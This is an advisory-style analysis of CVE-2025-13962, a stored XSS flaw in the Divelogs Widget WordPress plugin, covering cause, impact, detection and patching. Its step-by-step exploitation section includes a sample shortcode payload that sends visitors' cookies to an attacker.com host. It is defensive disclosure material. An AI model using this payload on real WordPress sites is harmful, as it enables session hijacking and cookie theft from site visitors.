CVE-2025-13962: 
WordPress vulnerability analysis and mitigation

CVE-2025-13962 is a Stored Cross-Site Scripting (XSS) vulnerability in the Divelogs Widget plugin for WordPress. It affects all versions up to and including 1.5, caused by insufficient input sanitization and output escaping on user-supplied attributes in the latestdive shortcode. The vulnerability was published on December 12, 2025, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in the plugin's latestdive shortcode handler, where user-supplied shortcode attributes are neither sanitized on input nor escaped on output before being rendered in the page HTML. An authenticated attacker with at minimum contributor-level access can embed a malicious shortcode containing arbitrary JavaScript into a post or page; the script executes in the browser of any user who subsequently visits that page. The vulnerable code path is visible in the plugin source at line 51 of divelogs-widget.php (Plugin Source, Wordfence).

Successful exploitation allows an authenticated attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the context of any visitor's browser. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further attacks against site administrators. Because the scope is changed (S:C in CVSS), the impact extends beyond the attacker's own session to affect all users visiting the compromised page (Wordfence).

Exploitation requires authenticated access at the contributor level or above, limiting the attack surface compared to unauthenticated vulnerabilities. No public proof-of-concept exploit code or in-the-wild exploitation has been reported. The EPSS score is approximately 0.03%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Gain Contributor Access: Obtain or register a WordPress account with at least contributor-level privileges on the target site running Divelogs Widget ≤ 1.5.
2. Create or Edit a Post: Navigate to the WordPress editor and create a new post or edit an existing one where shortcodes are rendered.
3. Inject Malicious Shortcode: Insert the latestdive shortcode with a crafted attribute containing a JavaScript payload, for example: [latestdive attribute="\"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Post: Submit or publish the post so the injected shortcode is stored in the database.
5. Trigger Execution: When any user (including administrators) visits the page, the unsanitized attribute is rendered into the HTML and the injected script executes in their browser, enabling session hijacking or further attacks (Wordfence, Plugin Source).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing latestdive shortcode with unusual attribute values including HTML tags or JavaScript.
• Database: WordPress wp_posts table entries containing [latestdive shortcode with encoded or obfuscated script tags in post content.
• Network: Outbound browser requests from site visitors to unexpected external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages containing the Divelogs Widget shortcode.
• File System: Review divelogs-widget.php for unauthorized modifications; compare against the known-good version from the WordPress plugin repository changeset (Plugin Changeset).

Site administrators should update the Divelogs Widget plugin to a version beyond 1.5 that includes the fix introduced in changeset 3415821. If no patched version is yet available via the WordPress plugin repository, the recommended workaround is to deactivate and remove the plugin until a fix is released. Additionally, restrict contributor-level user registrations and review existing contributor accounts for unauthorized activity. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense (Plugin Changeset, Wordfence).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for December 8–14, 2025, as part of routine disclosure coverage. No significant independent researcher commentary or broader media coverage has been identified for this vulnerability (Wordfence Blog).